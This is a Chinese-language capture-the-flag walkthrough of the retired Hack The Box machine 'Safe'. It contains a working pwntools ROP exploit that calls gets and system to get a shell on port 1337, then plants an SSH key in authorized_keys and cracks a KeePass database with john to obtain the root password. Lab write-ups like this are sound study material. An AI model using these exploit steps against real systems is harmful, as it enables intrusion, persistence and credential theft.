本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.147
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.147 -o ./Safe-autorecon
也可以使用官方的方法进行快速的扫描
masscan -p1-65535 10.10.10.147 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr ' ' ',' | sed 's/,$//') nmap -Pn -sV -sC -p$ports 10.10.10.147 或者 nmap -p- --min-rate 10000 -oA scans/nmap_alltcp 10.10.10.147 nmap -sV -sC -p 21,22,80,3000,8000 -oA scans/nmap_tcpscripts 10.10.10.147
扫描看到开放了3个端口,22,80,1337,首先使用curl访问一把80端口,发现一重要信息
提示有个文件可以下载下来分析,文件名称为myapp,并且此文件可能就是运行在目标靶机上去,并且监听1337端口,我先把此文件下载下来
开始分析此二进制文件,详细查看这篇文章把,https://0xdf.gitlab.io/2019/10/26/htb-safe.html 下面是exploit代码
from pwn import * e = ELF("/home/kali/Downloads/htb/safe/myapp") p = remote("10.10.10.147",1337) payload = "A"*(120) payload += p64(0x000000000040120b) #pop rdi; ret payload += p64(0x404050) #writable address payload += p64(0x401060) #gets@PLT payload += p64(0x000000000040120b) #pop rdi; ret payload += p64(0x404050) #writable address payload += p64(0x401040) #system@PLT payload += "x90" *50 print p.read print p.read print "Invio Payload" p.write(payload+" ") p.write("/bin/bash ") print p.read() p.interactive()
执行exploit成功拿到低权限shell
首先写入一个公钥
写个kali的公钥进去,通过私钥远程登录 echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfjdrW5okibmnT9c3hsAoSZPJ0XcCN92f998ZkCcWehEHXTmpkGJE7qedYSbr78pQITNnIXpVEJXlKYaTQUf68JUKCiBWwLQes3SfHN6SoRe4hiC4LtgtXiUmRIYYY//PXEdgbH7dFvX67fA8p/6Mz/R6ITS4OvHDQCLNwV8wmu46pS4xEq9/Rsp3nc6OjHVWAvnwnBmNTjUWEGuKH5Vvqw5yM0/PV5SeeyaB0R5jm4M7YL1/h8RRVvInt5M20/FaR5wWL4pEeGXsqKPjZUtdCfgPkZwF/4Oi6aOYSKGVmQrnbsetG5F2//IuUTBEkgQp4HevL1hNw3iAH+PNh/iHlVhafeYw9rZ/G9G97vGCsTy7UVYRk55nJQuHTRhZOkt8jAqfBgjLwP/Gn6wXIGWFmSLaKO//jJuSYYVXGIu9vjTGSLEUQtSQKrf+vL94jtGDRYArDnqFvJopj3HJK39B8O2PhVhQ0bh+YbQNWPoHsc5O7UH/6LcREUnppzSKf2yE= kali@kali' > authorized_keys
通过私钥ssh登录到目标靶机上,登录成功之后直接进入到用户user的家目录,发现当前目录下有很多图片和加密的keepass文件,通过scp拷贝到本地kali
使用命令keepass2john命令将其转换为能够被john识别的hash,然后使用john进行破解
keepass2john MyPasswords.kdbx > MyPasswords.kdbx.john; for img in $(ls IMG*); do keepass2john -k $img MyPasswords.kdbx; done >> MyPasswords.kdbx.john
开始破解hash
john MyPasswords.kdbx.john /usr/share/seclists/Passwords/Leaked-Databases/rockyou-30.txt
破解出来的登录keepass的登录密码,使用命令行工具kpcli登录keepass读取root账号的密码
bullshit
使用sudo apt-get install kpcli 安装工具kpcli
成功拿到root密码直接su切换至root用户